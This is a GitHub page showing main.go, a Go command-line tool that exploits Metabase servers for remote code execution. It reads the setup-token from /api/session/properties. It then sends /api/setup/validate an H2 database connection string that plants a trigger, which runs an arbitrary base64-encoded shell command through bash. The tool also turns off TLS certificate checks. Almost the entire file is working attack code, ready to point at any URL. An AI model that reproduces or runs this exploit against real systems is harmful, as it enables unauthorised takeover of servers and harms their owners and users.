-
Notifications
You must be signed in to change notification settings - Fork 1
/
main.go
170 lines (140 loc) · 4.75 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
package main
import (
"bytes"
"crypto/tls"
"encoding/base64"
"encoding/json"
"flag"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"strings"
)
// SetupProxyClient sets up the default HTTP client to use a proxy
func SetupProxyClient(proxyURL string) {
if proxyURL == "" {
return
}
proxy, err := url.Parse(proxyURL)
if err != nil {
fmt.Println("[Error]: Failed to parse proxy URL. Detailed error:", err)
return
}
transport := &http.Transport{
Proxy: http.ProxyURL(proxy),
}
if http.DefaultTransport.(*http.Transport).TLSClientConfig == nil {
transport.TLSClientConfig = &tls.Config{}
}
transport.TLSClientConfig.InsecureSkipVerify = true
http.DefaultClient.Transport = transport
}
// DisableSSLWarnings disables the SSL warnings for insecure requests
func DisableSSLWarnings() {
transport := http.DefaultTransport.(*http.Transport)
if transport.TLSClientConfig == nil {
transport.TLSClientConfig = &tls.Config{}
}
transport.TLSClientConfig.InsecureSkipVerify = true
}
// GetToken retrieves the token from the given URL
func GetToken(url string) string {
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "https://" + url
}
resp, err := http.Get(fmt.Sprintf("%s/api/session/properties", url))
if err != nil {
fmt.Println("[Error]: Unable to fetch the token from the specified URL. Detailed error:", err)
return ""
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
var data map[string]interface{}
err := json.NewDecoder(resp.Body).Decode(&data)
if err != nil {
fmt.Println("[Error]: Unable to decode the JSON response. Detailed error:", err)
return ""
}
token, exists := data["setup-token"].(string)
if exists {
fmt.Println("[Success]: Successfully retrieved the token!")
fmt.Printf("Token: %s\n", token)
return token
}
fmt.Println("[Info]: Token not found in the response.")
return ""
}
fmt.Println("[Info]: Failed to retrieve the token from /api/session/properties.")
return ""
}
// CustomBase64Encode encodes the provided command in a custom base64 format
func CustomBase64Encode(command string) string {
encodedCommand := base64.StdEncoding.EncodeToString([]byte(command))
return strings.TrimRight(encodedCommand, "=")
}
// ExploitBug attempts to exploit the bug on the given URL using the provided token and command
func ExploitBug(url, token, command string) {
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
url = "https://" + url
}
if token == "" {
fmt.Println("[Info]: Token not found. Exploitation aborted.")
return
}
fmt.Printf("Command: %s\n", command)
encodedCommand := CustomBase64Encode(command)
fmt.Printf("Base64 Encoded Command: %s\n", encodedCommand)
payloadMap := map[string]interface{}{
"token": token,
"details": map[string]interface{}{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": nil,
"refingerprint": false,
"auto_run_queries": true,
"schedules": map[string]interface{}{},
"details": map[string]interface{}{
"db": fmt.Sprintf("zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,%s}|{base64,-d}|{bash,-i}')\n$$--=x", encodedCommand),
"advanced-options": false,
"ssl": true,
},
"name": "an-sec-research-team",
"engine": "h2",
},
}
payloadBytes, err := json.Marshal(payloadMap)
if err != nil {
fmt.Println("[Error]: Failed to marshal payload. Detailed error:", err)
return
}
fmt.Println("[Debug]: Posting request payload to", url, "/api/setup/validate")
resp, err := http.Post(fmt.Sprintf("%s/api/setup/validate", url), "application/json", bytes.NewBuffer(payloadBytes))
if err != nil {
fmt.Println("[Error]: Exploit request failed. Detailed error:", err)
return
}
fmt.Println("[Debug]: Response Status -", resp.Status)
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
if strings.Contains(string(body), "Error creating or initializing trigger") {
fmt.Println("[Success]: Exploited.")
} else {
fmt.Println("[Info]: Exploitation attempt was unsuccessful.")
}
}
func main() {
url := flag.String("url", "", "URL of the Metabase to be scanned and exploited")
command := flag.String("command", "", "Command to be executed (base64 encoded)")
proxy := flag.String("proxy", "", "Proxy URL (e.g., http://127.0.0.1:8080). If not provided, no proxy will be used.")
flag.Parse()
if *url == "" || *command == "" {
fmt.Println("[Error]: Both --url and --command flags are required.")
return
}
SetupProxyClient(*proxy)
DisableSSLWarnings()
token := GetToken(*url)
ExploitBug(*url, token, *command)
}